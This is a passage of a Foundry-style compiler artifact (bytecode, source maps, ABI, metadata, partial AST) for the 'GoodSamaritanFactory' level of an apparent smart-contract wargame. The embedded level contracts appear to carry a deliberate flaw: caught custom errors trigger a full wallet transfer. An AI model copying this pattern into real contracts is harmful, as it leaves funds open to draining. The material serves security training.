6f072a55bad7879542c57f540024c24154cfe1f657d46201c89def1264736f6c63430008180033a264697066735822122012a6faad48b12a2df1d0c12e6867cfce04832683ab0bbeab9c0a72deeddc5c6864736f6c63430008180033","sourceMap":"118:468:88:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;118:468:88;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;118:468:88:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b61008561008036600461041c565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461043e565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b5061007061010736600461041c565b6102a6565b61011461033b565b61011d5f610394565b565b5f60405161012c906103fb565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b03166311df99956040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b19190610475565b6001600160a01b03166327e235e3826001600160a01b031663521eb2736040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061021f9190610475565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa158015610279573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029d9190610490565b15949350505050565b6102ae61033b565b6001600160a01b03811661032f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61033881610394565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610326565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610b08806104a883390190565b6001600160a01b0381168114610338575f80fd5b5f6020828403121561042c575f80fd5b813561043781610408565b9392505050565b5f806040838503121561044f575f80fd5b823561045a81610408565b9150602083013561046a81610408565b809150509250929050565b5f60208284031215610485575f80fd5b815161043781610408565b5f602082840312156104a0575f80fd5b505191905056fe608060405234801561000f575f80fd5b5060405161001c906100ff565b604051809103905ff080158015610035573d5f803e3d5ffd5b505f80546001600160a01b0319166001600160a01b039290921691821790556040516100609061010c565b6001600160a01b039091168152602001604051809103905ff080158015610089573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b039283169081179091555f546040516382e46b7560e01b81526004810192909252909116906382e46b75906024015f604051808303815f87803b1580156100e4575f80fd5b505af11580156100f6573d5f803e3d5ffd5b50505050610119565b61042e8061038483390190565b610356806107b283390190565b61025e806101265f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c806311df9995146100435780632514363814610073578063521eb2731461008b575b5f80fd5b600154610056906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b61009d565b604051901515815260200161006a565b5f54610056906001600160a01b031681565b5f80546040517ff836afce0000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063f836afce906024015f604051808303815f87803b1580156100f8575f80fd5b505af1925050508015610109575060015b610222573d808015610136576040519150601f19603f3d011682016040523d82523d5f602084013e61013b565b606091505b50805160208083019190912060408051600481526024810190915291820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fad3a8b9e0000000000000000000000000000000000000000000000000000000017815291519091200361021e575f546040517fe40b86580000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063e40b8658906024015f604051808303815f87803b158015610201575f80fd5b505af1158015610213573d5f803e3d5ffd5b505050505f91505090565b5090565b5060019056fea2646970667358221220d5db4a23eced2c10c7be752e7449ddba9a1dbc761e6cf62f46f17779c80a89c564736f6c63430008180033608060405234801561000f575f80fd5b505f80546001600160a01b031916331790556104008061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100ac578063e40b8658146100be578063f836afce146100d1575f80fd5b806311df99951461006857806382e46b7514610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b6100aa6100a5366004610391565b6100e4565b005b5f5461007b906001600160a01b031681565b6100aa6100cc366004610391565b610148565b6100aa6100df366004610391565b61025b565b5f546001600160a01b0316331461010e57604051635fc483c560e01b815260040160405180910390fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461017257604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b81523060048201526001600160a01b039091169063a9059cbb90839083906327e235e390602401602060405180830381865afa1580156101c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e691906103b3565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044015b5f604051808303815f87803b158015610242575f80fd5b505af1158015610254573d5f803e3d5ffd5b5050505050565b5f546001600160a01b0316331461028557604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b8152306004820152600a916001600160a01b0316906327e235e390602401602060405180830381865afa1580156102cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102f091906103b3565b1015610328576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152600a60248301529091169063a9059cbb9060440161022b565b50565b6001600160a01b038116811461037a575f80fd5b5f602082840312156103a1575f80fd5b81356103ac8161037d565b9392505050565b5f602082840312156103c3575f80fd5b505191905056fea264697066735822122034a4a3cb0de740fd1e8ffe7d7b8af2cb6145f1e332ec60827493447c2818318d64736f6c63430008180033608060405234801561000f575f80fd5b5060405161035638038061035683398101604081905261002e9161004f565b6001600160a01b03165f908152602081905260409020620f4240905561007c565b5f6020828403121561005f575f80fd5b81516001600160a01b0381168114610075575f80fd5b9392505050565b6102cd806100895f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c806327e235e314610038578063a9059cbb14610069575b5f80fd5b6100576100463660046101f6565b5f6020819052908152604090205481565b60405190815260200160405180910390f35b61007c610077366004610216565b61007e565b005b335f9081526020819052604090205480821161018e57335f90815260208190526040812080548492906100b290849061026b565b909155505073ffffffffffffffffffffffffffffffffffffffff83165f90815260208190526040812080548492906100eb908490610284565b909155505073ffffffffffffffffffffffffffffffffffffffff83163b15610189576040517f98d078b40000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff8416906398d078b4906024015f604051808303815f87803b158015610172575f80fd5b505af1158015610184573d5f803e3d5ffd5b505050505b505050565b6040517fcf479181000000000000000000000000000000000000000000000000000000008152600481018290526024810183905260440160405180910390fd5b803573ffffffffffffffffffffffffffffffffffffffff811681146101f1575f80fd5b919050565b5f60208284031215610206575f80fd5b61020f826101ce565b9392505050565b5f8060408385031215610227575f80fd5b610230836101ce565b946020939093013593505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561027e5761027e61023e565b92915050565b8082018082111561027e5761027e61023e56fea2646970667358221220e3c803416f072a55bad7879542c57f540024c24154cfe1f657d46201c89def1264736f6c63430008180033a264697066735822122012a6faad48b12a2df1d0c12e6867cfce04832683ab0bbeab9c0a72deeddc5c6864736f6c63430008180033","sourceMap":"118:468:88:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;163:152:88;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;163:152:88;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;321:263:88;;;;;;;;;;-1:-1:-1;321:263:88;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;321:263:88;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;163:152:88:-;237:7;288:19;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;273:35:88;163:152;-1:-1:-1;;163:152:88:o;321:263::-;421:4;454:22;493:9;454:49;;520:8;-1:-1:-1;;;;;520:13:88;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;520:24:88;;553:8;-1:-1:-1;;;;;553:15:88;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;520:52;;;;;;;;;;-1:-1:-1;;;;;589:55:155;;;520:52:88;;;571:74:155;544:18;;520:52:88;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:57;;321:263;-1:-1:-1;;;;321:263:88:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;2182:2:155;2161:73:23::1;::::0;::::1;2164:21:155::0;2221:2;2201:18;;;2194:30;2260:34;2240:18;;;2233:62;2331:8;2311:18;;;2304:36;2357:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2589:2:155;1414:68:23;;;2571:21:155;;;2608:18;;;2601:30;2667:34;2647:18;;;2640:62;2719:18;;1414:68:23;2387:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:265::-;1333:6;1386:2;1374:9;1365:7;1361:23;1357:32;1354:52;;;1402:1;1399;1392:12;1354:52;1434:9;1428:16;1453:31;1478:5;1453:31;:::i;1791:184::-;1861:6;1914:2;1902:9;1893:7;1889:23;1885:32;1882:52;;;1930:1;1927;1920:12;1882:52;-1:-1:-1;1953:16:155;;1791:184;-1:-1:-1;1791:184:155:o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GoodSamaritanFactory.sol\":\"GoodSamaritanFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/GoodSamaritan.sol\":{\"keccak256\":\"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615\",\"dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M\"]},\"src/levels/GoodSamaritanFactory.sol\":{\"keccak256\":\"0xbedeca55a8fc71a3fd3f948047bea3d46a5bc588eb4b66962129669a347533a3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40d025c7abe8d8e3a9aa3fe930367d21daf3bc21b61031d6434b2044b1e18903\",\"dweb:/ipfs/QmQSqdqxuyg9WabnC6BGVB7BRgzrotE6QyQXgdATnmL1g1\"]},\"src/levels/base/Level-08.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GoodSamaritanFactory.sol":"GoodSamaritanFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/GoodSamaritan.sol":{"keccak256":"0xb208a148389591b9b75d6dc1f0edf8d903132168b62239d8b49804f8555f1947","urls":["bzz-raw://3a7b0a11f0319286ed345e53b56ebcb4940b20dff05a1ce94896a4f153dbd615","dweb:/ipfs/QmYkGNmn5PziUnkEy6N9UyLYMRdNf2oo8eV7v1vXGed51M"],"license":"MIT"},"src/levels/GoodSamaritanFactory.sol":{"keccak256":"0xbedeca55a8fc71a3fd3f948047bea3d46a5bc588eb4b66962129669a347533a3","urls":["bzz-raw://40d025c7abe8d8e3a9aa3fe930367d21daf3bc21b61031d6434b2044b1e18903","dweb:/ipfs/QmQSqdqxuyg9WabnC6BGVB7BRgzrotE6QyQXgdATnmL1g1"],"license":"MIT"},"src/levels/base/Level-08.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GoodSamaritanFactory.sol","id":53388,"exportedSymbols":{"Address":[48259],"Coin":[53225],"Context":[48281],"GoodSamaritan":[53146],"GoodSamaritanFactory":[53387],"INotifyable":[53327],"Level":[55486],"Ownable":[46700],"Wallet":[53321]},"nodeType":"SourceUnit","src":"32:555:88","nodes":[{"id":53329,"nodeType":"PragmaDirective","src":"32:23:88","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53330,"nodeType":"ImportDirective","src":"57:29:88","nodes":[],"absolutePath":"src/levels/base/Level-08.sol","file":"./base/Level-08.sol","nameLocation":"-1:-1:-1","scope":53388,"sourceUnit":55487,"symbolAliases":[],"unitAlias":""},{"id":53331,"nodeType":"ImportDirective","src":"87:29:88","nodes":[],"absolutePath":"src/levels/GoodSamaritan.sol","file":"./GoodSamaritan.sol","nameLocation":"-1:-1:-1","scope":53388,"sourceUnit":53328,"symbolAliases":[],"unitAlias":""},{"id":53387,"nodeType":"ContractDefinition","src":"118:468:88","nodes":[{"id":53352,"nodeType":"FunctionDefinition","src":"163:152:88","nodes":[],"body":{"id":53351,"nodeType":"Block","src":"246:69:88","nodes":[],"statements":[{"expression":{"id":53341,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53335,"src":"256:7:88","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53342,"nodeType":"ExpressionStatement","src":"256:7:88"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":53347,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"288:17:88","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_GoodSamaritan_$53146_$","typeString":"function () returns (contract GoodSamaritan)"},"typeName":{"id":53346,"nodeType":"UserDefinedTypeName","pathNode":{"id":53345,"name":"GoodSamaritan","nameLocations":["292:13:88"],"nodeType":"IdentifierPath","referencedDeclaration":53146,"src":"292:13:88"},"referencedDeclaration":53146,"src":"292:13:88","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}}},"id":53348,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"288:19:88","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}],"id":53344,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"280:7:88","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53343,"name":"address","nodeType":"ElementaryTypeName","src":"280:7:88","typeDescriptions":{}}},"id":53349,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"280:28:88","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":53340,"id":53350,"nodeType":"Return","src":"273:35:88"}]},"baseFunctions":[55476],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"172:14:88","overrides":{"id":53337,"nodeType":"OverrideSpecifier","overrides":[],"src":"219:8:88"},"parameters":{"id":53336,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53335,"mutability":"mutable","name":"_player","nameLocation":"195:7:88","nodeType":"VariableDeclaration","scope":53352,"src":"187:15:88","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53334,"name":"address","nodeType":"ElementaryTypeName","src":"187:7:88","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"186:17:88"},"returnParameters":{"id":53340,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53339,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53352,"src":"237:7:88","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53338,"name":"address","nodeType":"ElementaryTypeName","src":"237:7:88","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"236:9:88"},"scope":53387,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":53386,"nodeType":"FunctionDefinition","src":"321:263:88","nodes":[],"body":{"id":53385,"nodeType":"Block","src":"427:157:88","nodes":[],"statements":[{"expression":{"id":53362,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53356,"src":"437:7:88","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53363,"nodeType":"ExpressionStatement","src":"437:7:88"},{"assignments":[53366],"declarations":[{"constant":false,"id":53366,"mutability":"mutable","name":"instance","nameLocation":"468:8:88","nodeType":"VariableDeclaration","scope":53385,"src":"454:22:88","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"},"typeName":{"id":53365,"nodeType":"UserDefinedTypeName","pathNode":{"id":53364,"name":"GoodSamaritan","nameLocations":["454:13:88"],"nodeType":"IdentifierPath","referencedDeclaration":53146,"src":"454:13:88"},"referencedDeclaration":53146,"src":"454:13:88","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}},"visibility":"internal"}],"id":53370,"initialValue":{"arguments":[{"id":53368,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53354,"src":"493:9:88","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":53367,"name":"GoodSamaritan","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53146,"src":"479:13:88","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GoodSamaritan_$53146_$","typeString":"type(contract GoodSamaritan)"}},"id":53369,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"479:24:88","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}},"nodeType":"VariableDeclarationStatement","src":"454:49:88"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53383,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53377,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53366,"src":"553:8:88","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}},"id":53378,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"562:6:88","memberName":"wallet","nodeType":"MemberAccess","referencedDeclaration":53072,"src":"553:15:88","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_contract$_Wallet_$53321_$","typeString":"function () view external returns (contract Wallet)"}},"id":53379,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"553:17:88","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract 